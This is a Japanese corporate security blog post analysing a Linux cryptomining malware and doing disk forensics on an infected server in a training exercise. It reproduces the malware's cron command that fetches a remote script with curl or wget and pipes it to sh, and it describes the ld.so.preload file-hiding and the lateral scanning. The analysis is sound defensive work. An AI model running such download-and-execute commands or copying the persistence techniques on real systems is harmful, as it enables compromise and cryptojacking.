blog

DeNAのエンジニアが考えていることや、担当しているサービスについて情報発信しています

2019.05.30 技術記事

DeNA SOC始動 ━ マルウェア解析とフォレンジック

by mengyuan.wan

#security

はじめに

こんにちは、DeNAセキュリティ部のWanです。 セキュリティ部では、チート対策関連の開発や脆弱性診断、SOC・インシデントハンドリングなどを担当しています。 今回はSOC業務で解析を担当したマルウェアの挙動や具体的に行った解析手法について、紹介したいと思います。

マルウェア解析

DeNAでは、インシデントハンドリングを内製していて、マルウェア感染時の解析なども対象にしています。 今回は、インシデントハンドリングの模擬演習の一環として、 話題になっているマルウェア の感染を伴う簡易フォレンジックをある感染シナリオを想定して行いました。 このマルウェアが会社の重要情報などを持ち出すような挙動をするかを判断できる状態をゴールとして、解析しました。

解析結果を下記にまとめます。

感染シナリオでの攻撃の起点

攻撃の起点は、Remote Code Execution(遠隔任意コード実行、以下「RCE」と称する)の脆弱性などを利用して感染するケースを想定し、実際にWebアプリケーションのRCE脆弱性を利用してマルウェア感染を再現しました。 攻撃者がこのRCEの脆弱性を利用して下記のようなcronジョブを登録するところから始まります。

(curl -fsSL https://pastebin[.]com/raw/2wGUXFiE||wget -q -O- https://pastebin[.]com/raw/2wGUXFiE)|sh

このURLの先にこのようなシェルスクリプトが置かれています。

このスクリプトの中では、x64マシンの場合、pixeldrain[.]comから1554470365x2890174166.jpgというファイルをダウンロードします。 x86の場合は、wl_bHMB1というファイルをダウンロードします。 さらにダウンロードしたバイナリを/tmp/kerberodsと名前を変更した上で、実行します。

wl_bHMB1解析

1554470365x2890174166.jpgwl_bHMB1は基本的に同じ機能を持っているので、ここでwl_bHMB1の方を解析します。 実はこのマルウェアのHashは 74becf0d1621ba1f036025cddffc46d4236530d54d1f913a4d0ad488099913c8(64bit)とbab27f611518dc55b00b1a9287bdb8e059c4f4cc1607444f40e0c45d5842994f(32bit)で、 すでに既知のマルウェアではあります。 ただし、virustotalなどでの動的解析の情報が少なく、どういった挙動をするマルウェアなのかよくわからない状態です。 今回はこのマルウェアの挙動を解析し、マルウェアが実際にどのような影響を及ぼすかを調査します。

このマルウェアの名前で検索すると、すでに このような記事 が公開されていることがわかりました。 とても詳しく記載されているのですが、残念なことにこの記事は一年前で、記載されているバイナリのHash値も一致しませんでした。 実際に我々が入手した最近のマルウェアの影響はこの記事のマルウェアと同じかどうか、この一年間で新しい機能が追加されたかを確かめる為に、解析を行いました。

この記事で記載しているように、まずwl_bHMB1はUPXでパッキングされていて、かつUPXのマジックをUPX!からLSD!に改変されています。LSD!UPX!にもどし、unpackできます。このバイナリはGolangで書かれているらしく、 https://github.com/sibears/IDAGolangHelper というIDAのプラグインを使えばうまくシンボルをロードできました。シンボルが付いているバイナリの解析はとても楽です。早速眺めて見ましょう。

main_main

これはGolangでできたバイナリのエントリポイントです。この関数ではgithub_com_VividCortex_godaemon_MakeDaemonを呼んで、プログラムをdaemon化します。同時に、自分のpidを/tmp/.X11unixに書き込みます。

なぜ/tmp/.X11unixファイルを生成するかというと、前述のシェルスクリプトを読めばわかります:

if [ ! -f "/tmp/.X11unix" ]; then

という条件分岐で、一度マルウェアの本体が実行されたら繰り返しダウンロードしないようにしています。 このことから、もし/tmp/.X11unixファイルが存在していたら、感染が成功しマルウェアの本体が実行されたと考えることができます。

main_lsd

次にほとんどの攻撃はmain_lsd関数の中で実行されます。 注意する必要があるのは、github_com_hippies_LSD_LSDC_Checkupdateの関数の中で、https://pastebin[.]com/raw/HWBVXK6Hにアップデートの問い合わせを行っていることです。 lsdcという文字列のレスポンスが返している場合、アップデートがあると判断して、既存のマルウェアプロセスを殺し、アップデートを行うことがわかります。

実際にアップデート内容の取得先はこちらのURLです:https://pastebin[.]com/raw/rPB8eDpu

私がこの記事を書いているうちに、これらのURLがコロコロ変わっていて、現在進行形でアップデートが行われていることがわかりました。 なので、マルウェアのhash値についてもまだまだ変化していくと考えられます。

github_com_hippies_LSD_LSDA_Aago

この関数は6379ポートに対して、Redis接続を試みます。

github_com_hippies_LSD_LSDA_Bbgo

アクセスできるホストへのsshログイン試行する関数です。

github_com_hippies_LSD_LSDA_Ccgo

8080ポートに対して、JenkinsのCVE-2019-1003000をスキャンする関数です。

github_com_hippies_LSD_LSDB_NetdnsWrite

この関数もmain_lsdの中で呼ばれています。netdnsというサービスを登録する機能です。 root権限を奪われていない限り、この関数に影響は受けないと考えられます。 そのため、今回の解析対象からこの関数を外しました。

github_com_hippies_LSD_LSDB_LibWrite

この関数では、/usr/local/lib/libpamcd.cを作成し、gccを使ってlibpamcd.soにコンパイルします。 その後libpamcd.cを削除し、libpamcd.so/etc/ld.so.preload/ディレクトリに配置します。 先ほど紹介した記事では生成されたライブラリの名前はlibcryptod.soとされており、今回解析中のマルウェアと差分があるようです。 マルウェアが検知を回避する為に、こういった特徴的な挙動も含めてアップデートしていることがわかります。

解析ではマルウェアを改造し、Sandboxでlibpamcd.cが消されないようにしてSandboxで実行し、ソースコードを手に入れました。

入手したソースコード:

ソースコードから分かる通り、libpamcd.soでは、fopenreaddiraccessなどのlibcのAPIをhookingし、khugepagedskerberodsld.so.preloadlibpamcd.soというファイルまたはプロセスを隠そうとしています。 root権限を取られていない場合はそもそも/usr/local/libへの書き込み権限持っておらず、 libpamcd.soファイルの生成自体も失敗していると考えることができます。

github_com_hippies_LSD_LSDB_KWR

この関数から/tmp/khugepagedsというバイナリを作成し、実行します。 このバイナリもUPXによってpackingされていて、マジックをSYM!に改変されています。 マルウェア本体と同じ手順でunpackして分析すると、/tmp/khugepagedsはマイニングプログラムで、 https://github.com/xmrig/xmrig このソースコードに基づいて作成されていることがわかります。

更に、攻撃者は`44qJYxdbuqSKarYnDSXB6KLbsH4yR65vpJe3ELLDii9i4ZgKpgQXZYR4AMJxBJbfbKZGWUxZU42QyZSsP4AyZZMbJBCrWr1`というアドレスのウォレットを使っていることがわかります。

github_com_hippies_LSD_LSDC_Cron

この関数は今回のマルウェアの永続化の肝心なポイントです。

この関数は名前の通り、cronのジョブを作っています。cronジョブの中身は、最初のマルウェアの起点として登録されたジョブと同じです。

(curl -fsSL https://pastebin[.]com/raw/2wGUXFiE||wget -q -O- https://pastebin[.]com/raw/2wGUXFiE)|sh

cronジョブが消されても、マルウェアのプロセスが存在していれば、cronジョブを復活させることができます。逆にマルウェアだけ消されても、cronジョブからマルウェアを再ダウンロードすることができます。

ディスクフォレンジック

静的解析で挙動の概要を掴んだ後、実際に他の攻撃もされていないかを確認するためにディスクイメージを確保して、フォレンジックを行いました。 実際のフォレンジックでは、メモリ確保が難しいケースもあるため、メモリが確保できない範囲でどの程度まで解析できるかを確認しました。

ディスクイメージをマウント

まずパーティションがどこから始まるのを調べます

$ fdisk -l -u webserver.image
設定する必要があります シリンダ数.
あなたは特別機能メニューからこれを行なうことができます

ディスク webserver.image: 0 MB, 0 バイト
ヘッド 255, セクタ 63, シリンダ 0, 合計 0 セクタ
Units = セクタ数 of 1 * 512 = 512 バイト
セクタサイズ (論理 / 物理): 512 バイト / 512 バイト
I/O size (minimum/optimal): 512 bytes / 512 bytes
ディスク識別子: 0x000c16af
 
  デバイス ブート      始点        終点     ブロック   Id  システム
webserver.image1            2048   125829119    62913536   83  Linux
領域 1 は異なった物理/論理終点になっています:
     物理=(1023, 254, 63) 論理=(7832, 127, 39)

始点が2048、sectorサイズが512なので、パーティション1が2048*512=1048576バイト目から始まることが分かりました。

次にddでパーティション1を分離します

dd if=webserver.image of=webserver.image.disk1 skip=2048 bs=512

最後にパーティション1をマウントします

mkdir ./mnt
sudo mount -o loop,ro,noexec,offset=1048576 webserver.image ./mnt/

debugfsでディスクイメージを分析

マウントできたらマウントしたファイルシステムを調査することは勿論必要ですが、実際に消されたファイルの痕跡を確認したい場合は、debugfsでファイルシステムのジャーナルを見ることで確認できます。

具体的なやり方としては、まずパーティション1をdebugfsで開きます:

debugfs webserver.image.disk1

これでインタラクティブなシェルに入り、様々な操作ができます。 ここで/var/spool/cron以下に(削除されたファイルも含めて)あったファイルを見てみましょう。

debugfs:  ls -d var/spool/cron/
 1311581  (12) .    1311558  (12) ..    1317177  (36) root  
<1327692> (24) tmp.XXXXnoFifc    1327692  (4036) application  

applicationというファイルが作られて、中身を確認したら、今回のマルウェアが仕込んだcronジョブです。 ただしジャーナルは万能ではありません。全ての削除されたファイルを見られる訳ではありません。 ファイルが消された後、inodeが再利用されると、削除ファイルの一覧から出なくなります。

このようにファイルシステム内の更新時期が直近のファイルに注目していたところ、/var/spool/cron/application/tmp/.X11unix/tmp/bakという三つのファイルに気付きました。 /var/spool/cron/application/tmp/.X11unixは前述のマルウェアが生成されたファイルで既知の挙動です。

ログの分析

実際に/tmp/bakの時間を見てみます:

Access: 2019-05-27 19:04:14.458620902 +0900
Modify: 2019-05-27 19:10:16.242615594 +0900
Change: 2019-05-27 19:10:16.242615594 +0900

19:10です。この時間前後に/var/log/secureを眺めていたら怪しいログインが見つかりました。

May 27 19:19:09 webserver sshd[28590]: Received disconnect from xx.xx.x.xx: 11: disconnected by user
May 27 19:19:09 webserver sshd[28590]: pam_unix(sshd:session): session closed for user root
May 27 19:20:24 webserver sudo:     application : TTY=pts/2 ; PWD=/home/application ; USER=root; COMMAND=/bin/bash
May 27 19:20:29 webserver sshd[29103]: Accepted publickey for root from xx.xx.xx.xx port 58095 ssh2
May 27 19:20:29 webserver sshd[29103]: pam_unix(sshd:session): session opened for user root by (uid=0)

どこが怪しいかというと、session opened for user applicationのようなログがなく、いきなりapplicationユーザーのコマンド実行履歴が出てきています。 httpdのログを確認すると、19:20:05頃に脆弱性のあるエンドポイントにアクセスしているようで、おそらくリバースシェルを貼る操作だと考えています。

host:xxx.xxx.xx.xx    time:2019-05-27T19:20:05+09:00

時間軸を見れば、攻撃者がリバースシェルを貼ってapplicationユーザーのシェルをとり、sudo命令を実行し、rootシェルを取得したと考えた方が自然です。 さらにこの環境は、applicationユーザーはパスワードなしでsudo実行可能という設定になっています。

rootユーザーの.bash_historyを見ると、

# 5月27日 月曜日 19時20分43秒 JST
uname -a

rootシェル取った後、uname -aを攻撃者が実行させたと思われます。 このようにして、リバースシェルを貼った攻撃者の動きを解析していきました。

対応

実際にこのマルウェアに感染すると、Jenkinsサーバ、Redisサーバへの感染拡大、sshブルートフォースの攻撃が行われる可能性が非常に高いものとなります。 そのため、万が一感染してしまった場合、感染端末から到達可能な各サーバへのアクセスの有無、sshログインの成否などを調査するなど、比較的広い範囲での調査が必要になると考えられます。

振り返り

今回の演習やマルウェア解析を通して、下記のような一般的なセキュリティ対策の重要性を再確認することができました。

  1. ウェブアプリケーションはroot権限、sudo権限などを持つべきではない。

  2. リバースシェルのコマンド履歴は残っていない可能性も高いので、auditdで全てのコマンド実行履歴を残すことが有効。外部に転送しているとなお良い。

     -a exit,always -F arch=b64 -S execve
     -a exit,always -F arch=b32 -S execve	
    
  3. NWの分離粒度を小さくすることによる被害の封じ込め(調査範囲を限定するために)

最後まで読んでいただき、ありがとうございます!
この記事をシェアしていただける方はこちらからお願いします。

recruit

DeNAでは、失敗を恐れず常に挑戦し続けるエンジニアを募集しています。